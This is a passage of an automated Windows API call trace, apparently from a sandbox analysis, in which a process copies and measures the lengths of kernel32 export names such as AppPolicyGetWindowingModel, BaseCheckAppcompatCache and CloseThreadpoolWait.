lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0120.172] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0120.172] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0120.172] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0120.172] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0120.172] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0120.172] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0120.172] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0120.172] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0120.172] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0120.172] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0120.172] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0120.172] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0120.172] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0120.172] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0120.172] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0120.172] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0120.172] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0120.172] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0120.172] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0120.172] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0120.172] lstrlenA (lpString="BACKUPREAD") returned 10 [0120.172] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0120.172] lstrlenA (lpString="BACKUPSEEK") returned 10 [0120.172] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0120.172] lstrlenA (lpString="BACKUPWRITE") returned 11 [0120.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0120.173] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0120.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0120.173] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0120.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0120.173] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0120.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0120.173] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0120.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0120.173] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0120.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0120.173] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0120.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0120.173] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0120.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0120.173] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0120.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0120.173] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0120.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0120.173] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0120.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0120.173] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0120.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0120.173] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0120.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0120.173] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0120.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0120.173] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0120.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0120.173] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0120.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0120.174] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0120.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0120.174] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0120.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0120.174] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0120.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0120.174] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0120.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0120.174] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0120.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0120.174] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0120.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0120.174] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0120.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0120.174] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0120.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0120.174] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0120.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0120.174] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0120.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0120.174] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0120.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0120.174] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0120.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0120.174] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0120.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0120.174] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0120.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0120.174] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0120.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0120.174] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0120.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0120.174] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0120.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0120.174] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0120.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0120.174] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0120.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0120.174] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0120.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0120.175] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0120.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0120.175] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0120.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0120.175] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0120.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0120.175] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0120.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0120.175] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0120.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0120.175] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0120.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0120.175] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0120.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0120.175] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0120.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0120.175] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0120.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0120.175] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0120.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0120.175] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0120.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0120.175] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0120.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0120.175] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0120.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0120.175] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0120.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0120.175] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0120.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0120.175] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0120.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0120.175] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0120.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0120.175] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0120.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0120.176] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0120.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0120.176] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0120.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0120.176] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0120.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0120.176] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0120.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0120.176] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0120.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0120.176] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0120.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0120.176] lstrlenA (lpString="BEEP") returned 4 [0120.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0120.176] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0120.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0120.176] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0120.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0120.176] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0120.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0120.176] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0120.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0120.176] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0120.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0120.176] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0120.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0120.176] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0120.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0120.176] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0120.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0120.176] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0120.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0120.176] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0120.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0120.176] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0120.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0120.177] lstrlenA (lpString="CANCELIO") returned 8 [0120.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0120.177] lstrlenA (lpString="CANCELIOEX") returned 10 [0120.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0120.177] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0120.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0120.177] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0120.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0120.177] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0120.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0120.177] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0120.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0120.177] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0120.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0120.177] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0120.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0120.177] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0120.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0120.177] lstrlenA (lpString="CHECKELEVATION") returned 14 [0120.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0120.177] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0120.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0120.177] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0120.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0120.177] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0120.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0120.177] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0120.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0120.177] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0120.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0120.177] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0120.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0120.177] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0120.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0120.177] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0120.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0120.178] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0120.178] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0120.178] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0120.178] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0120.178] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0120.178] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0120.178] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0120.178] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0120.178] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0120.178] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0120.178] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0120.178] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0120.178] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0120.178] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0120.178] lstrlenA (lpString="CLOSESTATE") returned 10 [0120.178] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0120.178] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0120.178] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0120.178] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0120.178] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0120.178] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0120.178] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0120.178] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0120.178] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0120.178] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0120.178] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0120.178] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 